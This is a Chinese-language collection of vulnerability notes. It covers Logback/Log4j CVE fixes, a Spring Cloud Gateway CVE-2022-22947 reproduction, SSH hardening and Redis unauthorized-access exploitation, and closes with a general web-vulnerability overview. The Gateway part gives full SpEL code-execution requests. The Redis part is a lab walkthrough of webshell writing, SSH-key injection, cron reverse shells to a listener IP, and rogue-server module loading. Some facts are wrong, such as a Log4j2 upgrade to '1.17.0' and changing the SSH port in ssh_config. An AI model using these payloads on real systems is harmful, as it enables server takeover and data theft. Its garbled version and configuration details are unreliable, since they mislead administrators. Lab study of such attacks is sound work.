总结下几个有漏洞第三方插件

Logback漏洞

前些天 Apache Log4j2 接连报了几个重大漏洞，好在我们的系统使用的 logback，可当我们正庆幸的时候，logback 也爆出漏洞了。今天我们一起来看一下这几个漏洞。

CVE-2021-42550
先看一下官方的漏洞描述：

In logback version 1.2.7 and prior versions, an attacker with the required privileges to edit configurations files could craft a malicious configuration allowing to execute arbitrary code loaded from LDAP servers.

The vulnerability is considered to pose a lesser threat than log4shell because it requires access to logback’s configuration file by the attacker, sign of an already compromised system.This CVE-2021-42550 is intended to prevent an escalation of an existing flaw to a higher threat level.

首先让我们松一口气的是，logback 的这个漏洞不像 log4j 那样严重。如果是 SpringBoot 项目，没有做日志配置的话，默认使用的就是 logback。

logback 官方的修复速度也是非常给力，短时间内发布了 5 个版本：

14th of December, 2021, Release of version 1.2.8

16th of December, 2021, Release of version 1.3.0-alpha11

16th of December, 2021, Release of version 1.2.9

22nd of December, 2021, Release of version 1.3.0-alpha12

23rd of December, 2021, Release of version 1.2.10

从上面官方的截图我们可以看到，有两个方法可以避开这个漏洞

logback 版本升级到 1.2.9

把 logback.xml 文件配置为只读

SpringBoot 项目也跟着 logback 的升级做了升级，比如 SpringBoot v2.6.2 版本就把 logback 升级到了 1.2.9。

但是对于真实的系统环境，升级 SpringBoot 版本牵扯到的测试太多了，要快速修复还是升级一下 logback 版本最快。

ch.qos.logback logback-classic 1.2.9 CVE-2021-44228 这个漏洞的另一个编号是 CNVD-2021-95914。

Log4j2 日志组件在处理程序日志记录时存在 JNDI 注入缺陷，攻击者可以利用该漏洞，获得目标服务器权限，向目标服务器发送恶意数据，在目标服务器任意代码执行。这个攻击主要针对有外网访问的应用，如果没有外网访问，可以不用太担心。

影响范围：2.0 <= Apache log4j

修复措施：

升级 Log4j2 版本到 2.16.0

改用日志框架，使用 Log4j 或者 logback

添加 jvm 启动参数 -Dlog4j2.formatMsgNoLookups=true

在应用 classpath 下添加配置文件 log4j2.component.properties，文件内容为 log4j2.formatMsgNoLookups=true

升级 JDK 版本，使用 11.0.1、8u191、7u201、6u211 及以上的高版本

禁用 JNDI，比如在 spring.properties 里添加 spring.jndi.ignore=true

部署使用第三方防火墙产品进行安全防护，并更新 WAF、RASP 规则

可以看到，最快的方式就是添加 jvm 参数然后重启服务。

CVE-2021-45046
CVE-2021-44228 的一种形式，如启 Log4j2 用日志配置查找(例如，$${ctx：loginId})或上下文映射模式(%X、%mdc或%MDC)时，将允许远程攻击者使用JNDI查找模式加载恶意类，从而导致远程代码执行或信息漏洞等风险。

这个漏洞只对使用 log4j-core 的应用受影响。

影响范围：2.0 <= Apache log4j

建议：将 Log4j2 升级到 1.17.0。

CVE-2021-45105
由于 Log4j2 某些特殊配置，使用非默认的模式布局和上下文查找(例如，$${ctx：loginId})时，攻击者可以通过构造包含递归查找数据包的方式，控制线程上下文映射 (MDC)，导致 StackOverflowError 产生并终止进程，实现拒绝服务攻击。

这个漏洞只对使用 log4j-core 的应用受影响。

影响范围：2.0 <= Apache log4j

建议：将 Log4j2 升级到 1.17.0。

CVE-2021-4104
这个攻击是针对 Log4j1.x 而不是 Log4j2。

当应用程序启用了 JMSAppende，且攻击者可以控制 JMSAppender 添加 JMSBroker 时，将允许远程攻击者进行代码执行攻击。

影响范围：Log4j1.x版本

因 2015 年 8 月起官方已停止维护 Log4j1.x 版本组件，因此不会提供 Log4j1.x 的版本更新，可以从类路径中移除JMSAppender 类进行修复。命令如下：

zip-q-dlog4j-*.jarorg/apache/log4j/net/JMSAppender.class
总结
上面的漏洞都是跟日志组件相关的，官方已经修复。

如果使用 logback，只要把版本升级到 1.2.9 之上就可以。

如果使用了 log4j2，把版本升级到最新版本，也就是 2.17.0 就可以了。

如果使用 log4j，可以从 classpath 中移除 JMSAppender，但这不是长久之计，建议还是升级到 log4j2 或者改用 logback，毕竟 log4j 1.x 版本官方已经不再维护了。

最后，作为程序员，要时刻关注系统中的技术栈，关注新版本修复的问题是否对系统有影响。

SpringCloudGateway远程代码执⾏漏洞

SpringCloudGateway远程代码执⾏漏洞（CVE-2022-22947）
漏洞描述
Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API ⽹关，它旨在为微服务架构提供⼀种简单、有效、统⼀
的 API 路由管理⽅式。当攻击者可以访问Actuator API的情况下，将可以利⽤该漏洞执⾏任意命令。
影响版本
3.1.0
3.0.0⾄3.0.6
漏洞环境
访问ip:8080出现以下界⾯说明搭建成功
漏洞复现
1.添加包含恶意的路由
POST /actuator/gateway/routes/blue HTTP/1.1
Host: 192.168.1.41:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/98.0.4758.109 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-
exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 0
{
“id”: “blue”,
“filters”: [{
“name”: “AddResponseHeader”,
“args”: {
“name”: “Result”,
“value”: “#{new
String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]
{“id”}).getInputStream()))}”
}
}],
“uri”: “http://example.com”
}
2.看到以上数据包说明新增路由创建成功。
再次发送如下数据包，应⽤刚才添加的路由，触发SpEL表达式执⾏:
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.1.41:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/99.0.4844.51 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-
exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
3.命令执⾏成功
GET /actuator/gateway/routes/blue HTTP/1.1
Host: 192.168.1.41:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/99.0.4844.51 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-
exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4.删除添加的恶意路由
DELETE /actuator/gateway/routes/blue HTTP/1.1
Host: 192.168.1.41:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/99.0.4844.51 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-
exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 325
修复⽅案
3.1.x⽤户应升级到3.1.1+
3.0.x⽤户应升级到3.0.7+

2.2 CVE-2022-22946 HTTP2 不安全的 TrustManager
危害等级： 中危
威胁类型： 本地
漏洞描述：使用配置为启用 HTTP2 且未设置密钥存储或受信任证书的 Spring Cloud Gateway 的应用程序，将被配置为使用不安全的 TrustManager。这使得网关能够使用无效或自定义证书连接到远程服务。
受影响版本
3.1.0
解决方案：受影响版本的用户应使用以下补救措施。
3.1.x 用户应升级到 3.1.1+。

ssh漏洞

漏洞利用-SSH安全防御
一、SSH修改默认端口
默认情况下，SSH使用22端口。为了安全，一般情况下都会修改默认端口。
修改/etc/ssh/ssh_config文件内容。
找到Port ，把原来的22修改成想要的端口，一般修改后的端口比较大。
注意：修改之后必须重新启动SSH服务
二、SSH设置PGP登录
默认情况下，SSH使用用户名和密码进行远程登录。但也可以使用密钥对进行身份验证登录（公钥和私钥）。
这里我就使用xshell生成密钥

Xshell生成密钥
打开Xshell，在菜单栏点击“工具”，在弹出的菜单中选择“新建用户密钥生成向导”，

弹出“弹出用户密钥生成向导”对话框，在“密钥类型”项选择“RSA”公钥加密算法，“密钥长度”选择为“2048”位密钥长度，（默认就行）

继续下一步，在“密钥名称”中输入Key的文件名称，我这里为“id_rea_2048”；在“密码”处输入一个密码用于加密私钥，并再次输入密码确认，（会有一个默认的密钥名称,可修改）

点击“下一步”，密钥生成完毕（公钥格式选择SSH2-OpenSSH格式），这里显示的是公钥，我们可以复制公钥然后再保存，也可以直接保存公钥到文件，

把生成好的文件拷贝到Linux服务器的/home/xianren/.ssh文件夹中（用户名每个人都不一样），切换到此目录，使用命令
cat id_rsa_2048.pub >> authorized_keys
1
把里面的内容拷贝到authorized_keys文件中

然后设置拥有者可读写，其他人不可读写执行

chmod 600 authorized_keys
1

配置Xshell使用密钥认证方式登录到服务器：
打开Xshell，点击“新建”按钮，弹出“新建会话”对话框，在“连接”栏目中，输入刚刚配置好公钥(Public Key)的IP地址和端口，如下图所示：

点击左侧的“用户身份验证”,切换到认证栏目，在“方法”选择“Public Key”认证，用户名输入“xianren”(公钥是放在xianren目录下的.ssh文件夹中)，在“用户密钥”中选择我们刚才生成的私钥“id_rsa_8192”,“密码”中输入私钥的加密密码。

三、SSH防御暴力破解用户账号
为了系统安全着想，关闭密码认证的方式！
在Linux下可以配置不能使用用户名和密码登录，只使用SSH PGP方式验证登录。规避了SSH暴力破解。

sudo vim /etc/ssh/sshd_config #修改下面几处
PubkeyAuthentication yes #启用PublicKey认证
AuthorizedKeysFile .ssh/authorized_keys #PublicKey文件路径
PasswordAuthentication no #不适用密码认证登录

上面配置完成后，需要重启sshd服务。

至此，登录测试吧！你会发现输入完用户，密码一栏是灰色的！
登录成功，配置完成！

禁用密码登录，使用密钥登录是推荐的方式！

四、Iptables设置阀值防止暴力破解
利用iptables对多次连接验证错误，进行账户锁定3600秒(自定义)。

sudo iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --set
1
利用iptables对3次连接验证错误，进行账户锁定3600秒(自定义)。

sudo iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --update --seconds 3600 --hitcount 3 -j DROP
1
在设置完成后，需要重新启动ssh服务。
这里我就没做了。。。

Redis漏洞总结

redis是一个key-value存储系统。和Memcached类似，它支持存储的value类型相对更多，包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash（哈希类型）。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作，而且这些操作都是原子性的。在此基础上，redis支持各种不同方式的排序。与memcached一样，为了保证效率，数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件，并且在此基础上实现了master-slave(主从)同步。

Redis 是一个高性能的key-value数据库。 redis的出现，很大程度补偿了memcached这类key/value存储的不足，在部 分场合可以对关系数据库起到很好的补充作用。它提供了Java，C/C++，C#，PHP，JavaScript，Perl，Object-C，Python，Ruby，Erlang等客户端，使用很方便。

Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步，从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制，使得从数据库在任何地方同步树时，可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。

默认端口：6379 sentinel.conf配置器端口为：26379

Redis环境安装
官网地址：https://redis.io/

下载地址：http://download.redis.io/releases/

1.Redis-3.2.0安装
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make #编译安装

2.Redis-4.0.8安装
wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar xvf redis-4.0.8.tar.gz
cd redis-4.0.8
make
make结束后，进入src目录下，将redis-cli和redis-server拷贝到/usr/bin目录下，这样每次启动时就不需要进入src目录下了。

这里，如果是zsh的话，需要首先在配置文件中添加环境变量：

vi ~/.zshrc
export PATH=/root/Desktop/redis-3.2.0/src:$PATH

然后刷新shell环境，即可使新增的环境变量生效：

source ~/.zshrc

启动redis

redis-server redis.conf

此时默认端口为6379，没用密码，这时候会导致未授权访问。

Redis未授权访问
漏洞原理
Redis默认情况下，会绑定在0.0.0.0:6379，如果没有采用相关的策略，如配置防火墙规则避免其他非信任来源的IP访问，就会将Redis服务暴露在公网上；如果没有设置密码认证（一般为空）的情况下，会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。

漏洞复现
复现环境：

kali2020(安装有redis3.2.0，192.168.190.128）

kali2021(安装有redis4.0.8，192.168.190.129）

编辑redis配置文件redis.conf：

前面加上#号，去掉IP绑定，允许除本地外的主机登陆redis服务：

修改protected-mode为no，关闭保护模式，允许远程连接redis服务，protected-mode是Redis3.2版本新增的安全配置项，开启后要求需要配置bind ip或者设置访问密码，关闭后是允许远程连接：

重新启动redis。

redis写入webshell
漏洞原理
靶机的redis存在未授权访问，并且开启了web服务，知道了web目录的路径，并具有文件读写增删改查的权限，即可通过redis在指定的web目录下写入一句话木马，用菜刀连接可达到控制服务器的目的。

漏洞复现
靶机开启web服务，这里开启apache服务：

/etc/init.d/apache2 start

在攻击机上执行下列命令（执行顺序可以打乱）：

config set dir /var/www/html/
//切换到网站的根目录
config set dbfilename zcc.php
//在磁盘中生成木马文件
set xxx “\n\n\n\n\n\n”
//写入恶意代码到内存中，这里的\n\n\n代表换行的意思，用redis写入文件的会自带一些版本信息，如果不换行可能会导致无法执行.
save
//将内存中的数据导出到磁盘

此时靶机网站根目录下已经写入该文件：

蚁剑测试：

redis密钥登录ssh
漏洞原理
在数据库中插入一条数据，将本机的公钥作为value，key值随意，然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys，把缓冲的数据保存在文件里，这样就可以在服务器端的/root/.ssh下生成一个授权的key。

漏洞复现
利用条件：redis对外开放，且是未授权访问状态，并且redis服务ssh对外开放，可以通过key登入。

靶机开启ssh服务：

/etc/init.d/ssh start

攻击机上创建ssh-rsa密钥，也就是生成key，这里密码搞成空，全部默认即可
ssh-keygen -t rsa
将公钥导入key.txt，这里将密钥开头和结尾添加了一些\n是用于防止乱码；
将生成的公钥写入靶机服务器的内存之中
cat key.txt | redis-cli -h 192.168.190.128 -x set xxx
// -x 代表从标准输入读取数据作为该命令的最后一个参数。
可以看见成功写入
设置路径和保存的文件名，将内存变量导入磁盘文件
config set dir /root/.ssh
config set dbfilename authorized_keys
save

这里报错的意思是靶机没有这个文件目录， 原因是.ssh 是记录密码信息的文件夹，如果没有用root用户登录过的话，就没有 .ssh 文件夹，所以我们在靶机上执行下面这条命令即可（也可以手动创建.ssh目录）：

ssh localhost

此时，可成功导入
靶机这边也成功写入

此时，在攻击机这里用ssh连接靶机，可成功连接
ssh -i id_rsa [email protected]
或者
ssh 192.168.190.128

利用计划任务反弹shell
漏洞原理
利用Redis未授权漏洞，可以通过写入文件到系统计划任务目录 /var/spool/cron下来执行。

漏洞复现
攻击机开启监听
连接靶机redis，写入反弹shell

set xx “\n* * * * * bash -i >& /dev/tcp/192.168.190.129/1234 0>&1\n”
//星号表示的是计划任务的时间
config set dir /var/spool/cron/
config set dbfilename root
save
过一分钟左右可以收到反弹的shell，但是这里需要注意的是，只适用于centos上开启的服务，ubuntu上不行，不过我还是不相信会这么邪门，在网上发现了个文章，关于解决crontab反弹shell失败的，具体解决方法如下：

这里参考了这篇文章：https://m3lon.github.io/2019/03/18/%E8%A7%A3%E5%86%B3ubuntu-crontab%E5%8F%8D%E5%BC%B9shell%E5%A4%B1%E8%B4%A5%E7%9A%84%E9%97%AE%E9%A2%98/#more

centos的定时任务目录在/var/spool/cron/目录下，kali和ubuntu的定时任务文件在/var/spool/cron/crontabs目录下，因此这里我们重新写入

set xx “\n* * * * * bash -i >& /dev/tcp/192.168.190.129/1234 0>&1\n”
//星号表示的是计划任务的时间
config set dir /var/spool/cron/crontabs
config set dbfilename root
save

进入靶机计划任务目录查看，已经写入，但是文件权限为644

需要特别注意的一点是这的root文件的权限必须为600，否则会出现

cron[53948]: (root) INSECURE MODE (mode 0600 expected)
1
因此这里给他改了权限

同时反弹shell的shell环境是bash，而kali中的/bin/sh这个软连接指向了dash

这里修改为bash

不过这种方法kali依旧没有反弹回来。。（这里如果有师傅成功了可以和我说一下方法）

接下来试试第二种方法：

首先将/bin/sh改为dash

ln -s -f dash /bin/sh
避免在cron文件里去使用bash这个shell，在靶机上去建一个反弹shell的shell脚本文件，然后在任务计划里面去直接调用这个shell脚本文件，脚本内容为：

#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.190.129/1234 0>&1
加个执行权限：

之后计划任务里面的内容改成

• • • • • /tmp/zcc.sh
          依旧没有反弹，，好吧，是我菜鸡了，可能确实不行，这里问题先保留如果有师傅有建议，欢迎提出哈
          远程主从复制RCE
          漏洞原理
          漏洞存在于4.x、5.x版本中，Redis提供了主从模式，主从模式指使用一个redis作为主机，其他的作为备份机，主机从机数据都是一样的，从机负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后，通过外部拓展可以实现在redis中实现一个新的Redis命令，通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候，Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件，即可执行命令。

漏洞复现
redis-rogue-server工具下载地址：https://github.com/n0b0dyCN/redis-rogue-server

该工具无法对Redis密码进行Redis认证，也就是说该工具只适合目标存在Redis未授权访问漏洞时使用。如果存在密码可以使用下面这个工具。

Awsome-Redis-Rogue-Server工具下载地址：https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

执行反弹

python3 redis-rogue-server.py -rhost 192.168.190.129 -lhost 192.168.190.128

选择交互式的shell(interactive shell) 或者反弹shell(reserve shell)，这里选择的是交互式；若是选择反弹的如下：

这部分的缺点就是只适用于目标机器允许远程登录的时候，如果目标机子只允许本地登录，则这种利用方法就不行了，此时可以配合其他漏洞，从目标本地登录redis。

本地Redis主从复制RCE反弹shell
漏洞原理
对于只允许本地连接的Redis服务器，可以通过开启主从模式从远程主机上同步恶意.so文件至本地，接着载入恶意.so文件模块，反弹shell至远程主机。

漏洞复现
这里将redis-rogue-server-master的exp.so复制到Awsome-Redis-Rogue-Server的目录下使用，因为exp.so带system模块。

kali开启监听，接受会话的反弹

开启15000端口的主服务器

python3 redis_rogue_server.py -v -path exp.so
-v #冗余模式，仅启动Rouge Server模式

靶机本机登录redis开启主从模式

redis-cli
1
查看是否存在模块，可以看见目前没有可用模块

config set dir /tmp
//一般tmp目录都有写权限，所以选择这个目录写入
config set dbfilename exp.so
//设置导出文件的名字
slaveof 192.168.190.128 15000
//进行主从同步，将恶意so文件写入到tmp目录
可以看见主服务器上FULLRESYNC全局同步数据中…
module load ./exp.so
//加载写入的恶意so文件模块
module list
//查看恶意so有没有加载成功，主要看有没有“system”

可以看见加载是成功的。
反弹shell：
system.rev 192.168.190.128 1234
关闭主从模式
slaveof NO ONE

安全防护
redis的安全设置：设置完毕，需要重加载配置文件启动redis

1.绑定内网ip地址进行访问

2.requirepass设置redis密码

3.保护模式开启protected-mode开启（默认开启）

4.最好把端口更改

5.单独为redis设置一个普通账号，启动redis。

其他漏洞总结

单个漏洞，需要进行排查与整改，借着别人的智慧，做一个简单的收集。最好能够将常见漏洞，不限于web类的，进行一个统一的整理。这是今年的任务。
进行漏洞的工具的收集，为未来的工作做好基础。。。
一、SQL注入漏洞
SQL注入攻击（SQL Injection），简称注入攻击、SQL注入，被广泛用于非法获取网站控制权，是发生在应用程序的数据库层上的安全漏洞。在设计程序，忽略了对输入字符串中夹带的SQL指令的检查，被数据库误认为是正常的SQL指令而运行，从而使数据库受到攻击，可能导致数据被窃取、更改、删除，以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。
通常情况下，SQL注入的位置包括：
（1）表单提交，主要是POST请求，也包括GET请求；
（2）URL参数提交，主要为GET请求参数；
（3）Cookie参数提交；
（4）HTTP请求头部的一些可修改的值，比如Referer、User_Agent等；
（5）一些边缘的输入点，比如.mp3文件的一些文件信息等。
常见的防范方法
（1）所有的查询语句都使用数据库提供的参数化查询接口，参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口，使用此接口可以非常有效的防止SQL注入攻击。
（2）对进入数据库的特殊字符（’”<>&;等）进行转义处理，或编码转换。
（3）确认每种数据的类型，比如数字型的数据就必须是数字，数据库中的存储字段必须对应为int型。
（4）数据长度应该严格规定，能在一定程度上防止比较长的SQL注入语句无法正确执行。
（5）网站每个数据层的编码统一，建议全部使用UTF-8编码，上下层编码不一致有可能导致一些过滤模型被绕过。
（6）严格限制网站用户的数据库的操作权限，给此用户提供仅仅能够满足其工作的权限，从而最大限度的减少注入攻击对数据库的危害。
（7）避免网站显示SQL错误信息，比如类型错误、字段不匹配等，防止攻击者利用这些错误信息进行一些判断。
（8）在网站发布之前建议使用一些专业的SQL注入检测工具进行检测，及时修补这些SQL注入漏洞。
二、跨站脚本漏洞
跨站脚本攻击（Cross-site scripting，通常简称为XSS）发生在客户端，可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。
XSS攻击使用到的技术主要为HTML和Javascript，也包括VBScript和ActionScript等。XSS攻击对WEB服务器虽无直接危害，但是它借助网站进行传播，使网站的使用用户受到攻击，导致网站用户帐号被窃取，从而对网站也产生了较严重的危害。
XSS类型包括：
（1）非持久型跨站：即反射型跨站脚本漏洞，是目前最普遍的跨站类型。跨站代码一般存在于链接中，请求这样的链接时，跨站代码经过服务端反射回来，这类跨站的代码不存储到服务端（比如数据库中）。上面章节所举的例子就是这类情况。
（2）持久型跨站：这是危害最直接的跨站类型，跨站代码存储于服务端（比如数据库中）。常见情况是某用户在论坛发贴，如果论坛没有过滤用户输入的Javascript代码数据，就会导致其他浏览此贴的用户的浏览器会执行发贴人所嵌入的Javascript代码。
（3）DOM跨站（DOM XSS）：是一种发生在客户端DOM（Document Object Model文档对象模型）中的跨站漏洞，很大原因是因为客户端脚本处理逻辑导致的安全问题。
常用的防止XSS技术包括：
（1）与SQL注入防护的建议一样，假定所有输入都是可疑的，必须对所有输入中的script、iframe等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口，也包括HTTP请求中的Cookie中的变量，HTTP请求头部中的变量等。
（2）不仅要验证数据的类型，还要验证其格式、长度、范围和内容。
（3）不要仅仅在客户端做数据的验证与过滤，关键的过滤步骤在服务端进行。
（4）对输出的数据也要检查，数据库里的值有可能会在一个大网站的多处都有输出，即使在输入做了编码等操作，在各处的输出点时也要进行安全检查。
（5）在发布应用程序之前测试所有已知的威胁。
三、弱口令漏洞
弱口令(weak password) 没有严格和准确的定义，通常认为容易被别人（他们有可能对你很了解）猜测到或被破解工具破解的口令均为弱口令。设置密码通常遵循以下原则：
（1）不使用空口令或系统缺省的口令，这些口令众所周之，为典型的弱口令。
（2）口令长度不小于8个字符。
（3）口令不应该为连续的某个字符（例如：AAAAAAAA）或重复某些字符的组合（例如：tzf.tzf.）。
（4）口令应该为以下四类字符的组合，大写字母(A-Z)、小写字母(a-z)、数字(0-9)和特殊字符。每类字符至少包含一个。如果某类字符只包含一个，那么该字符不应为首字符或尾字符。
（5）口令中不应包含本人、父母、子女和配偶的姓名和出生日期、纪念日期、登录名、E-mail地址等等与本人有关的信息，以及字典中的单词。
（6）口令不应该为用数字或符号代替某些字母的单词。
（7）口令应该易记且可以快速输入，防止他人从你身后很容易看到你的输入。
（8）至少90天内更换一次口令，防止未被发现的入侵者继续使用该口令。
四、HTTP报头追踪漏洞
HTTP/1.1（RFC2616）规范定义了HTTP TRACE方法，主要是用于客户端通过向Web服务器提交TRACE请求来进行测试或获得诊断信息。当Web服务器启用TRACE时，提交的请求头会在服务器响应的内容（Body）中完整的返回，其中HTTP头很可能包括Session Token、Cookies或其它认证信息。攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击，由于HTTP TRACE请求可以通过客户浏览器脚本发起（如XMLHttpRequest），并可以通过DOM接口来访问，因此很容易被攻击者利用。
防御HTTP报头追踪漏洞的方法通常禁用HTTP TRACE方法。
五、Struts2远程命令执行漏洞
ApacheStruts是一款建立Java web应用程序的开放源代码架构。Apache Struts存在一个输入过滤错误，如果遇到转换错误可被利用注入和执行任意Java代码。
网站存在远程代码执行漏洞的大部分原因是由于网站采用了Apache Struts Xwork作为网站应用框架，由于该软件存在远程代码执高危漏洞，导致网站面临安全风险。CNVD处置过诸多此类漏洞，例如：“GPS车载卫星定位系统”网站存在远程命令执行漏洞(CNVD-2012-13934)；Aspcms留言本远程代码执行漏洞（CNVD-2012-11590）等。
修复此类漏洞，只需到Apache官网升级Apache Struts到最新版本：http://struts.apache.org
六、文件上传漏洞
文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的，如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型，攻击者可通过 Web 访问的目录上传任意文件，包括网站后门文件（webshell），进而远程控制网站服务器。
因此，在开发网站及应用程序过程中，需严格限制和校验上传的文件，禁止上传恶意代码的文件。同时限制相关目录的执行权限，防范webshell攻击。
七、私有IP地址泄露漏洞
IP地址是网络用户的重要标示，是攻击者进行攻击前需要了解的。获取的方法较多，攻击者也会因不同的网络情况采取不同的方法，如：在局域网内使用Ping指令，Ping对方在网络中的名称而获得IP；在Internet上使用IP版的QQ直接显示。最有效的办法是截获并分析对方的网络数据包。攻击者可以找到并直接通过软件解析截获后的数据包的IP包头信息，再根据这些信息了解具体的IP。
针对最有效的“数据包分析方法”而言，就可以安装能够自动去掉发送数据包包头IP信息的一些软件。不过使用这些软件有些缺点，譬如：耗费资源严重，降低计算机性能；访问一些论坛或者网站时会受影响；不适合网吧用户使用等等。现在的个人用户采用最普及隐藏IP的方法应该是使用代理，由于使用代理服务器后，“转址服务”会对发送出去的数据包有所修改，致使“数据包分析”的方法失效。一些容易泄漏用户IP的网络软件(QQ、MSN、IE等)都支持使用代理方式连接Internet，特别是QQ使用“ezProxy”等代理软件连接后，IP版的QQ都无法显示该IP地址。虽然代理可以有效地隐藏用户IP，但攻击者亦可以绕过代理，查找到对方的真实IP地址，用户在何种情况下使用何种方法隐藏IP，也要因情况而论。
八、未加密登录请求
由于Web配置不安全，登陆请求把诸如用户名和密码等敏感字段未加密进行传输，攻击者可以窃听网络以劫获这些敏感信息。建议进行例如SSH等的加密后再传输。
九、敏感信息泄露漏洞
SQL注入、XSS、目录遍历、弱口令等均可导致敏感信息泄露，攻击者可以通过漏洞获得敏感信息。针对不同成因，防御方式不同
十、CSRF
http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html
Web应用是指采用B/S架构、通过HTTP/HTTPS协议提供服务的统称。随着互联网的广泛使用，Web应用已经融入到日常生活中的各个方面：网上购物、网络银行应用、证券股票交易、政府行政审批等等。在这些Web访问中，大多数应用不是静态的网页浏览，而是涉及到服务器侧的动态处理。此时，如果Java、PHP、ASP等程序语言的编程人员的安全意识不足，对程序参数输入等检查不严格等，会导致Web应用安全问题层出不穷。
本文根据当前Web应用的安全情况，列举了Web应用程序常见的攻击原理及危害，并给出如何避免遭受Web攻击的建议。
Web应用漏洞原理
Web应用攻击是攻击者通过浏览器或攻击工具，在URL或者其它输入区域（如表单等），向Web服务器发送特殊请求，从中发现Web应用程序存在的漏洞，从而进一步操纵和控制网站，查看、修改未授权的信息。
1.1 Web应用的漏洞分类
1、信息泄露漏洞
信息泄露漏洞是由于Web服务器或应用程序没有正确处理一些特殊请求，泄露Web服务器的一些敏感信息，如用户名、密码、源代码、服务器信息、配置信息等。
造成信息泄露主要有以下三种原因：
–Web服务器配置存在问题，导致一些系统文件或者配置文件暴露在互联网中；
–Web服务器本身存在漏洞，在浏览器中输入一些特殊的字符，可以访问未授权的文件或者动态脚本文件源码；
–Web网站的程序编写存在问题，对用户提交请求没有进行适当的过滤，直接使用用户提交上来的数据。
2、目录遍历漏洞
目录遍历漏洞是攻击者向Web服务器发送请求，通过在URL中或在有特殊意义的目录中附加“…/”、或者附加“…/”的一些变形（如“…\”或“…//”甚至其编码），导致攻击者能够访问未授权的目录，以及在Web服务器的根目录以外执行命令。
3、命令执行漏洞
命令执行漏洞是通过URL发起请求，在Web服务器端执行未授权的命令，获取系统信息，篡改系统配置，控制整个系统，使系统瘫痪等。
命令执行漏洞主要有两种情况：
–通过目录遍历漏洞，访问系统文件夹，执行指定的系统命令；
–攻击者提交特殊的字符或者命令，Web程序没有进行检测或者绕过Web应用程序过滤，把用户提交的请求作为指令进行解析，导致执行任意命令。
4、文件包含漏洞
文件包含漏洞是由攻击者向Web服务器发送请求时，在URL添加非法参数，Web服务器端程序变量过滤不严，把非法的文件名作为参数处理。这些非法的文件名可以是服务器本地的某个文件，也可以是远端的某个恶意文件。由于这种漏洞是由PHP变量过滤不严导致的，所以只有基于PHP开发的Web应用程序才有可能存在文件包含漏洞。
5、SQL注入漏洞
SQL注入漏洞是由于Web应用程序没有对用户输入数据的合法性进行判断，攻击者通过Web页面的输入区域(如URL、表单等) ，用精心构造的SQL语句插入特殊字符和指令，通过和数据库交互获得私密信息或者篡改数据库信息。SQL注入攻击在Web攻击中非常流行，攻击者可以利用SQL注入漏洞获得管理员权限，在网页上加挂木马和各种恶意程序，盗取企业和用户敏感信息。
6、跨站脚本漏洞
